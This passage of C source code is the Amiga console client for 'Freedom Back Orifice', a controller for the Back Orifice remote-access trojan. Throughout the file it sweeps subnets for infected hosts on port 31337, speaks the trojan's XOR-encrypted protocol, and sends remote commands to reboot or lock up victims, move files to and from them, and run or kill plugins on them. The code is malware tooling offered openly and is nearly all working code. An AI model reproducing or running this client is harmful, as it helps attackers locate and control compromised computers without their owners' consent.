      {
        int s;
        hostin.s_addr = dest;
        printf ("Pinging %s\n", inet_ntoa (hostin));

        s = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if (sendping (dest, port, s))
    {
      printf ("Sendping failed for dest %s\n", inet_ntoa (hostin));
      return (1); /* continue; */
    }
        sleep (SWEEPDELAY);
        getpong (s);
        s_close (s);
      }
  }
      if (fclose (file) == EOF)
  {
    perror ("fclose");
    return (1);
  }
      printf ("Pinging ended.\n");
      return (0);
    }
  else if (strcasecmp (command, "REBOOT") == 0)
    {
      if (!sendpacket (TYPE_SYSREBOOT, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "TCPSEND") == 0)
    {
      if (!sendpacket (TYPE_TCPFILESEND, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "TCPRECV") == 0)
    {
      if (!sendpacket (TYPE_TCPFILERECEIVE, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "LOCKUP") == 0)
    {
      if (!sendpacket (TYPE_SYSLOCKUP, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "PLUGINEXEC") == 0)
    {
      if (!sendpacket (TYPE_PLUGINEXECUTE, arg1, arg2, host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "PLUGINKILL") == 0)
    {
      if (!sendpacket (TYPE_PLUGINKILL, arg1, "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "PLUGINLIST") == 0)
    {
      if (!sendpacket (TYPE_PLUGINLIST, "", "", host, port, udpsock))
  return (getinput (udpsock));
      else
  return (1);
    }
  else if (strcasecmp (command, "PORT") == 0)
    {
      if (!strcmp (arg1, ""))
  port = 31337;
      else
  port = atoi (arg1);
      printf ("New port set to [%d]\n", port);
      return (0);
    }
  else if (strcasecmp (command, "ALIASADD") == 0)
    {
      if (!strlen (arg1) || !strlen (arg2) || !strlen (arg3))
  {
    puts ("Syntax incorrect, use help command...");
    return (1);
  }
      DeletaRegistroDB ("env:bo.alias", arg1, "ram:bo.tmp");
      sprintf (teste, "%s®%s", arg2, arg3);
      if (GravaRegistroDB ("s:bo.alias", teste, strupr (arg1), "a") == 0)
  {
    printf ("Problem on [s:bo.alias]...\n");
    return (1);
  }
      printf ("Alias [%s] added...\n", arg1);
      return (0);
    }
  else if (strcasecmp (command, "ALIASDEL") == 0)
    {
      if (!strlen (arg1))
  {
    puts ("Sintax incorrect, use help command...");
    return (1);
  }
      DeletaRegistroDB ("s:bo.alias", strupr (arg1), "ram:bo.tmp");
      printf ("Alias [%s] deleted...\n", strupr (arg1));
      return (0);
    }
  else if (strcasecmp (command, "ALIASLIST") == 0)
    {
      if (!(entrada = fopen ("s:bo.alias", "r")))
  {
    printf ("Alias config don`t have alias commands...\n");
    return (1);
  }
      printf ("\n[-- \2331mAlias from bo alias file\2330m --] [s:bo.alias]\n\n");
      y = 0;
      while (a = getc (entrada), !feof (entrada))
  {
    teste[y++] = a;
    if (a == '\n')
      {
        teste[--y] = '\0';
        if (teste[0] != '#')
    {
      strcpy (teste2, Copia (Corta (teste, '®', 0), 4, 256));
      printf ("Alias [\2331m%s\2330m] ", teste2);
      strcpy (teste2, Corta (teste, '®', 1));
      printf ("%s\n", teste2);
    }
        teste[0] = '\0';
        y = 0;
      }
  }
      printf ("\n[------------------------------]\n\n");
      fclose (entrada);
      return (0);
    }
  else if (strcasecmp (command, "PROFADD") == 0)
    {
      if (!strlen (arg1) || !strlen (arg2) || !strlen (arg3))
  {
    puts ("Sintax incorrect, use help command...");
    return (1);
  }
      DeletaRegistroDB ("env:bo.profile", arg1, "ram:bo.tmp");
      sprintf (teste, "%s®%s", arg2, arg3);
      if (GravaRegistroDB ("s:bo.profile", teste, arg1, "a") == 0)
  {
    printf ("Problem on [s:bo.profile]...\n");
    return (1);
  }
      printf ("Profile [%s] added...\n", arg1);
      return (0);
    }
  else if (strcasecmp (command, "PROFDEL") == 0)
    {
      if (!strlen (arg1))
  {
    puts ("Sintax incorrect, use help command...");
    return (1);
  }
      DeletaRegistroDB ("s:bo.profile", arg1, "ram:bo.tmp");
      printf ("Profile [%s] deleted...\n", arg1);
      return (0);
    }
  else if (strcasecmp (command, "PROFLOAD") == 0)
    {
      if (!strlen (arg1))
  {
    port = 31337;
    g_password[0] = 0;
    printf ("Loading default profile...\n");
    return (0);
  }
      strcpy (teste, LeRegistroDB ("s:bo.profile", arg1));
      strcpy (g_password, Corta (teste, '®', 0));
      port = atoi (Corta (teste, '®', 1));
      printf ("Profile set for [%s] port [%d]...\n", arg1, port);
      return (0);
    }
  else if (strcasecmp (command, "PROFLIST") == 0)
    {
      if (!(entrada = fopen ("s:bo.profile", "r")))
  {
    printf ("Profile config don`t have profiles...\n");
    return (1);
  }
      printf ("\n[-- \2331mProfiles from bo config\2330m --] [s:bo.profile]\n\n");
      y = 0;
      while (a = getc (entrada), !feof (entrada))
  {
    teste[y++] = a;
    if (a == '\n')
      {
        teste[--y] = '\0';
        strcpy (teste2, Copia (Corta (teste, '®', 0), 4, 256));
        printf ("Profile [\2331m%s\2330m] ", teste2);
        strcpy (teste2, Corta (teste, '®', 1));
        printf ("%s ", teste2);
        strcpy (teste2, Corta (teste, '®', 2));
        printf ("%s\n", teste2);
        teste[0] = '\0';
        y = 0;
      }
  }
      printf ("\n[-----------------------------]\n\n");
      fclose (entrada);
      return (0);
    }
  else if (strcasecmp (command, "CALL") == 0)
    {
      if (!strlen (arg1))
  {
    puts ("Sintax incorrect, use help command...");
    return (1);
  }
      system (arg1);
      return (0);
    }
  else if (strcasecmp (command, "UNSTOP") == 0)
    {
      return (getinput (udpsock));
    }
  else if (strcasecmp (command, "VERSION") == 0)
    {
      printf ("\n");
      printf ("\2331mFreedom Back Orifice Amiga console client\n\2330m");
      printf ("\nReport bugs surround@iname.com\n");
      printf ("\nBased on 1.21 unix source code\n");
      printf ("\2331mVersion  %s\2330m\n", DATE);
      printf ("\nBy SuRRouND 1998-2000 (\2331mBrazil\2330m)\n\n");
      return (0);
    }
  else if (strcasecmp (command, "LOGFILE") == 0)
    {
      if (!strlen (arg1))
  {
    printf ("\nLogfile Path [%s]\n\n", logfilepath);
    return (0);
  }
      strcpy (logfilepath, arg1);
      printf ("\nNew Logfile Path [%s]\n\n", logfilepath);
      return (0);
    }
  else
    return (2);

  /* assume success */
  return (0);
}

int 
pingsweepsubnet (char *arg1, int udpsock, int port, char *desc)
{
  char subnet[26];
  char ipaddr[26];
  char socks[295];
  int x, y;

  /* Find third octet and truncate */
  strncpy (subnet, arg1, 15);
  x = 0;
  while ((x < 15) && (subnet[x] != '.'))
    x++;
  x++;
  while ((x < 15) && (subnet[x] != '.'))
    x++;
  x++;
  while ((x < 15) && isdigit (subnet[x]))
    x++;
  subnet[x] = '\0';

  strcpy (ipaddr, subnet);
  strcat (ipaddr, ".255");
  if (inet_addr (ipaddr) == (unsigned long) -1)
    {
      printf ("Bad IP subnet: '%s'\n", arg1);
      return (1);
    }

  if (!strcmp (desc, ""))
    printf ("Sweeping subnet \2331m%s.*\2330m...\n", subnet);
  else
    printf ("Sweeping subnet of [\2331m%s\2330m] %s.*... %s\n", desc, subnet);

  for (y = 0; y < 7; y++)
    {
      printf (" %s.%d -- %s.%d\n", subnet, (y * 32) + 1, subnet, (y * 32) + 32);
      for (x = 0; x < 32; x++)
  {
    sprintf (ipaddr, "%s.%d", subnet, x + 1 + (y * 32));
    socks[x] = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sendping (inet_addr (ipaddr), port, socks[x]))
      {
        printf ("Sendping failed for dest %s\n", ipaddr);
        return (1);
      }
  }
      sleep (SWEEPDELAY);
      for (x = 0; x < 32; x++)
  {
    getpong (socks[x]);
    s_close (socks[x]);
  }
    }
  printf (" %s.225 -- %s.254\n", subnet, subnet);
  for (x = 225; x < 255; x++)
    {
      sprintf (ipaddr, "%s.%d", subnet, x);
      socks[x] = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);
      if (sendping (inet_addr (ipaddr), port, socks[x]))
  {
    printf ("Sendping failed for dest %s\n", ipaddr);
    return (1);
  }
    }
  sleep (SWEEPDELAY);
  for (x = 225; x < 255; x++)
    {
      getpong (socks[x]);
      s_close (socks[x]);
    }
  printf ("\n");
  return (0);
}

/*   CRYPTING FUNCTIONS 
 *   (ISS x-force has xor teknique 
 */

void 
msrand (unsigned int seed)
{
  holdrand = (long) seed;
}

int 
mrand (void)
{
  return (((holdrand = holdrand * 214013L + 2531011L) >> 16) & 0x7fff);
}

unsigned int 
getkey (void)
{
  int x, y;
  unsigned int z;

  y = strlen (g_password);
  if (!y)
    return 31337;
  else
    {
      z = 0;
      for (x = 0; x < y; x++)
  z += g_password[x];

      for (x = 0; x < y; x++)
  {
    if (x % 2)
      z -= g_password[x] * (y - x + 1);
    else
      z += g_password[x] * (y - x + 1);
    z = z % RAND_MAX;
  }
      z = (z * y) % RAND_MAX;
      return z;
    }
}

void 
BOcrypt (unsigned char *buff, int len)
{
  int y;

  if (!len)
    return;

  msrand (getkey ());
  for (y = 0; y < len; y++)
    buff[y] = buff[y] ^ (mrand () % 256);
}

/*
 *  I/O socket functions  
 */

int 
getpong (int sock)
{
  /* loops through with select, returns 0 correct ping */
  /* reponse and 1 on a timeout or select error.       */

  struct sockaddr_in host;
  char buff[BUFFSIZE];
  int hostsize, x, sel;
  unsigned long *pdw;
  unsigned char *ptr;
  unsigned long packetsize;
  unsigned char type;
  fd_set fds;
  struct timeval tv;

  FD_ZERO (&fds);
  FD_SET (sock, &fds);
  tv.tv_sec = 0;
  tv.tv_usec = 0;
  hostsize = sizeof (host);

  while ((sel = select (sock + 1, &fds, NULL, NULL, &tv)) > 0)
    {
      tv.tv_sec = 0;
      tv.tv_usec = 0;

      if ((x = recvfrom (sock, buff, BUFFSIZE, 0, (struct sockaddr *) &host, &hostsize)) <= 0)
  return (1);

      BOcrypt (buff, x);

      if (strncmp (buff, MAGICSTRING, MAGICSTRINGLEN) != 0)
  {
    printf ("\2331m------- Garbage packet recieved from %s port %d -------\n", inet_ntoa (host.sin_addr), (int) ntohs (host.sin_port));
    continue;
  }
      pdw = (unsigned long *) buff;
      pdw += 2;
      packetsize = __EL_LONG (*pdw);
      pdw += 2;
      ptr = (unsigned char *) pdw;
      type = *ptr++;

      if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET) && (type == TYPE_PING))
  {
    printf ("\2331m------- Pong received from %s port %d -------\n", inet_ntoa (host.sin_addr), (int) ntohs (host.sin_port));

    if (strcmp (logfilepath, ""))
      if (logfilep = fopen (logfilepath, "a"))
        {
    fprintf (logfilep, "%s\n", ptr);
    fclose (logfilep);
        }

    puts (ptr);

    puts ("------- End of data -------\2330m");
    g_lastpongip = host.sin_addr.s_addr;
    g_lastpongport = (int) ntohs (host.sin_port);
    return (0);
  }
      else
  {
    printf ("\2331m------- Non pong response from %s port %d -------\n", inet_ntoa (host.sin_addr), (int) ntohs (host.sin_port));

    if (strcmp (logfilepath, ""))
      if (logfilep = fopen (logfilepath, "a"))
        {
    fprintf (logfilep, "%s\n", ptr);
    fclose (logfilep);
        }

    puts (ptr);
    puts ("------- End of data -------\2330m");
    continue;
  }
    }
  if (sel < 0)
    perror ("select");

  return (1);
}

int 
getinput (int sock)
{
  struct sockaddr_in host;
  char buff[BUFFSIZE];
  int hostsize, x, sel;
  unsigned long *pdw;
  unsigned char *ptr;
  unsigned long packetsize;
  unsigned long oldestpack, lastpacket, packetid;
  unsigned char type;
  struct timeval tv;
  fd_set fds;

  FD_ZERO (&fds);
  FD_SET (sock, &fds);
  tv.tv_sec = 10;
  tv.tv_usec = 0;
  hostsize = sizeof (host);

  while ((sel = select (sock + 1, &fds, NULL, NULL, &tv)) > 0)
    {
      tv.tv_sec = 10;   /* check, does select modify tv? */
      tv.tv_usec = 0;

      if ((x = recvfrom (sock, buff, BUFFSIZE, 0, (struct sockaddr *) &host, &hostsize)) <= 0)
  continue;   /* this still shouldnt happen */

      BOcrypt (buff, x);
      if (strncmp (buff, MAGICSTRING, MAGICSTRINGLEN) != 0)
  continue;   /* this packet isnt for us, pass off */

      pdw = (unsigned long *) buff; /* parse out the packet */
      pdw += 2;
      packetsize = *pdw++;
      packetsize = __EL_LONG (packetsize);
      packetid = *pdw++;
      packetid = __EL_LONG (packetid);
      ptr = (unsigned char *) pdw;
      type = *ptr++;

      /* this is a singular packet */
      if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET))
  {
    printf ("\2331m------- Packet received from %s port %d -------\n", inet_ntoa (host.sin_addr), (int) ntohs (host.sin_port));

    if (strcmp (logfilepath, ""))
      if (logfilep = fopen (logfilepath, "a"))
        {
    fprintf (logfilep, "%s\n", ptr);
    fclose (logfilep);
        }

    puts (ptr);

    puts ("------- End of data -------\2330m");
    return 0;
  }

      /* first packet in a set of packets */
      if (!(type & CONTINUED_PACKET))
  {
    oldestpack = packetid;
    printf ("\2331m------- Packet received from %s port %d -------\n", inet_ntoa (host.sin_addr), (int) ntohs (host.sin_port));
  }

      if (type & CONTINUED_PACKET)  /* if we're here, i believe this will always be true */
  {
    /* if packetid = lastpacket+1 (normal), this doesnt run */
    /* This code is B00l Shit. It's borken big time.
       for(p=lastpacket; packetid > lastpacket+1; p++)
       printf("Packet #%d in this collection is MIA\n", (int)(p-oldestpack));
     */
    lastpacket = packetid;
  }

      if (strcmp (logfilepath, ""))
  if (logfilep = fopen (logfilepath, "a"))
    {
      fprintf (logfilep, "%s\n", ptr);
      fclose (logfilep);
    }

      puts (ptr);

      /* last packet in a set of packets */
      if (!(type & PARTIAL_PACKET))
  {
    puts ("------- End of data -------\2330m");
    return 0;   /* success */
  }
    }

  /* determine why we broke out of the loop */
  if (sel == 0)
    puts ("\n\2330mTimeout on wait, host may not be reachable, or no server installed\n");
  else if (sel < 0)
    perror ("select");

  return (1);     /* error */
}

int 
sendping (unsigned long dest, int port, int sock)
{
  unsigned char *ptr;
  unsigned long *pdw;
  unsigned long size;
  struct sockaddr_in host;
  char buff[BUFFSIZE];
  int i;
  fd_set fdset;
  struct timeval tv;

  size = MAGICSTRINGLEN + (sizeof (unsigned long) * 2) + 2;
  strcpy (buff, MAGICSTRING);
  pdw = (unsigned long *) (buff + MAGICSTRINGLEN);
  *pdw++ = __EL_LONG (size);
  *pdw++ = __EL_LONG ((unsigned long) -1);
  ptr = (unsigned char *) pdw;
  *ptr++ = TYPE_PING;
  *ptr = 0;

  BOcrypt (buff, (int) size);

  host.sin_family = AF_INET;
  host.sin_port = htons ((u_short) port);
  host.sin_addr.s_addr = dest;

  FD_ZERO (&fdset);
  FD_SET (sock, &fdset);
  tv.tv_sec = 10;
  tv.tv_usec = 0;

  i = select (sock + 1, NULL, &fdset, NULL, &tv);
  if (i == 0)
    {
      printf (" \2330mTimeout waiting to send to socket\n");
      return (1);
    }
  else if (i < 0)
    {
      perror ("select: ");
      return (1);
    }

  if ((sendto (sock, buff, size, 0, (struct sockaddr *) &host, sizeof (host))) != size)
    {
      perror ("sendto: ");
      return (1);
    }
  return 0;
}

int 
sendpacket (unsigned char type, const char *str1, const char *str2, unsigned long dest, int port, int sock)
{
  unsigned char *ptr;
  unsigned long *pdw;
  unsigned long size;
  struct sockaddr_in host;
  char buff[BUFFSIZE];

  if (dest == 0)
    {
      puts ("Set a target host with the 'host' command.  (Type 'help' for assistance)");
      return 1;
    }
  /*               4    4   1    ?        ?      1 
   * -----------------------------------------------
   * |MAGICSTRING|size|pakt|t|arg1... |arg2... |crc|
   * |           |    |num | |        |        |   |
   * -----------------------------------------------
   */

  size = MAGICSTRINGLEN + (sizeof (long) * 2) + 3 + strlen (str1) + strlen (str2);
  strcpy (buff, MAGICSTRING);
  pdw = (unsigned long *) (buff + MAGICSTRINGLEN);
  *pdw++ = __EL_LONG (size);
  *pdw++ = __EL_LONG (g_packet);
  g_packet++;
  ptr = (unsigned char *) pdw;
  *ptr++ = type;
  strcpy (ptr, str1);
  ptr += strlen (str1) + 1;
  strcpy (ptr, str2);

  BOcrypt (buff, (int) size);

  host.sin_family = AF_INET;
  host.sin_port = htons ((u_short) port);
  host.sin_addr.s_addr = dest;

  if ((sendto (sock, buff, size, 0, (struct sockaddr *) &host, sizeof (host))) != size)
    {
      perror ("sendto: ");
      return (1);
    }
  return 0;
}

/******************** MISC FUNCTIONS **************************/

void 
fixfilename (char *buff, const char *cwd, const char *path)
{
  if (path[0] == '\\')
    {
      strncpy (buff, cwd, 2);
      strncpy (buff + 3, path, strlen (path) + 1);
    }
  else if (strncmp (path + 1, ":\\", 2) == 0)
    {
      strcpy (buff, path);
    }
  else
    {
      sprintf (buff, "%s%s", cwd, path);
    }
}

char *
quotedstring (char *dest, char *src)
{
  char *d, *s, c;
  int quote, escape;

  d = dest;
  s = src;
  quote = 0;
  escape = 0;
  do
    {
      c = *s++;
      if (quote == 0)
  {
    if (c == ' ')
      {
        *d++ = '\0';
        break;
      }
    else if (c == '"')
      quote = 1;
    else
      *d++ = c;
  }
      else
  {
    if (escape == 0)
      {
        if (c == '"')
    quote = 0;
        else if (c == '\\')
    escape = 1;
        else
    *d++ = c;
      }
    else
      {
        *d++ = c;
        escape = 0;
      }
  }
    }
  while (c != '\0');

  return s;
}

/**************************** MAIN ***************************/

int main(int argc, char **argv)
{
  struct sockaddr_in sockaddr;
  struct in_addr hostin;
  char teste[256], teste2[256], a, *c;
  char buff[1024];
  char command[COMMANDSIZE];
  char arg1[ARGSIZE];
  char arg2[ARGSIZE];
  char arg3[ARGSIZE];
  int boot = 0, erro, x;
  int clientport = 0;
  struct linger linger;

  FILE *macro;

  /* VERIFICA A EXISTENCIA DO ARQUIVO DE BOOT */
  if (macro = fopen ("s:bo.startup", "r"))
    {
      boot = 1;
      fclose (macro);
    }

  logfilepath[0] = '\0';

  printf ("\n\2331mBack Orifice Amiga console client\nVersion %s By SuRRouND 2000 (Brazil)\2330m\n", VERSIONSTR);
  printf ("(Type 'help' for assistance)\n\n");

  host = 0;
  g_packet = 0;
  g_password[0] = 0;
  strcpy (cwd, "c:\\");

  if (argc > 1)
    {
      for (x = 1; x < argc; x++)
  {
    if (argv[x][0] == '-' || argv[x][0] == '/')
      {
        switch (toupper (argv[x][1]))
    {
    case 'H':
    case '?':
      puts ("boclient [-p port]");
      return 0;
    case 'P':
      if (argv[x][2] == 0)
        {
          x++;
          clientport = atoi (argv[x]);
        }
      else
        {
          clientport = atoi (&argv[x][2]);
        }
      break;
    case 0:
      puts ("\"-\"?");
      break;
    default:
      printf ("Unknown commandline option: '%c'\n", argv[x][1]);
      break;
    }
      }
  }
    }

  SockBase = (struct Library *) OpenLibrary ("libs:socket.library", 0L);
  if (!(SockBase))
    {
      printf ("You need a TCP/IP connect first...\n\n");
      exit (1);
    }
  setup_sockets (MAXSOCKS, &errno);

  udpsock = socket (AF_INET, SOCK_DGRAM, 0);
  if (udpsock == -1)
    {
      perror ("socket: ");
      return (1);
    }

  memset (&sockaddr, 0, sizeof (sockaddr));
  sockaddr.sin_family = AF_INET;
  sockaddr.sin_port = htons ((u_short) clientport);

  if ((bind (udpsock, (struct sockaddr *) &sockaddr, sizeof (sockaddr))) < 0)
    {
      perror ("bind: ");
      return (1);
    }

  linger.l_onoff = 0;
  setsockopt (udpsock, SOL_SOCKET, SO_LINGER, (void *) &linger, sizeof (linger));

  while (!feof (stdin))
    {
      if (boot == 1)
  {
    boot = 0;
    strcpy (command, "MACRO");
    strcpy (arg1, "s:bo.startup");
    printf ("\2331mLoading startup file...\2330m\n\n");
    goto MACRO;
  }
      if (host == 0)
  printf ("\2333mFreedom B.O.\2330m>");
      else
  {
    hostin.s_addr = host;
    printf ("\2333mFreedom B.O.:%s\2330m>", inet_ntoa (hostin));
  }
      arg1[0] = arg2[0] = 0;
      memset (buff, 0, BUFFSIZE);
      fgets (buff, 1024, stdin);
      if (buff[strlen (buff) - 1] == '\n')
  buff[strlen (buff) - 1] = '\0';

      c = quotedstring (command, buff);
      while (isspace ((int) c[0]))
  c++;
      c = quotedstring (arg1, c);
      while (isspace ((int) c[0]))
  c++;
      c = quotedstring (arg2, c);
      while (isspace ((int) c[0]))
  c++;
      c = quotedstring (arg3, c);

      /* TEST MACRO ROUTINES */
    MACRO:
      if (!(strcasecmp (command, "MACRO")))
  {
    printf ("Loading macro commands...\n");
    if (!(macro = fopen (arg1, "r")))
      {
        printf ("%s: macro file not found...\n", arg1);
        continue;
      }
    x = 0;
    while (a = getc (macro), !feof (macro))
      {
        teste[x++] = a;
        if (a == '\n')
    {
      teste[--x] = '\0';
      printf ("\nExecuting \2331m%s\2330m...\n", teste);
      strcpy (buff, teste);
      if (buff[strlen (buff) - 1] == '\n')
        buff[strlen (buff) - 1] = '\0';
      c = quotedstring (command, buff);
      while (isspace ((int) c[0]))
        c++;
      c = quotedstring (arg1, c);
      while (isspace ((int) c[0]))
        c++;
      c = quotedstring (arg2, c);
      while (isspace ((int) c[0]))
        c++;
      c = quotedstring (arg3, c);
      if (executecommand (command, arg1, arg2, arg3))
        {
          if (strcmp (command, ""))
      printf ("Command Failed\n");
        }
      teste[0] = '\0';
      x = 0;
    }
      }
    fclose (macro);
    continue;
  }

      if (erro = executecommand (command, arg1, arg2, arg3))
  {
    if (strcmp (command, ""))
      {
        /* ROTINA QUE TESTA O ALIAS */
        strcpy (teste2, LeRegistroDB ("s:bo.alias", command));
        strcpy (teste, Corta (teste2, '®', 0));

        /* ROTINA DE SUBSTITUICAO DE ARGUMENTOS */
        if (strcmp (arg1, ""))
    {
      strcpy (teste2, SubstituiString (teste, "$arg1", arg1));
      strcpy (teste, teste2);
    }

        if (strcmp (arg2, ""))
    {
      strcpy (teste2, SubstituiString (teste, "$arg2", arg2));
      strcpy (teste, teste2);
    }

        if (strcmp (arg3, ""))
    {
      strcpy (teste2, SubstituiString (teste, "$arg3", arg3));
      strcpy (teste, teste2);
    }

        /* SUBSTITUI O IP */
        strcpy (teste2, SubstituiString (teste, "$ip", inet_ntoa (hostin)));

        strcpy (buff, teste2);
        if (buff[strlen (buff) - 1] == '\n')
    buff[strlen (buff) - 1] = '\0';

        if (strcmp (buff, ""))
    {
      c = quotedstring (command, buff);
      while (isspace ((int) c[0]))
        c++;
      c = quotedstring (arg1, c);
      while (isspace ((int) c[0]))
        c++;
      c = quotedstring (arg2, c);
      while (isspace ((int) c[0]))
        c++;
      c = quotedstring (arg3, c);

      if (executecommand (command, arg1, arg2, arg3))
        {
          if (strcmp (command, ""))
      printf ("Command Failed\n");
        }
    }
        else if (erro == 2)
    printf ("Unknown command: '%s' (Type 'help' for assistance)\n", command);
      }
  }
    }
  return 0;
}
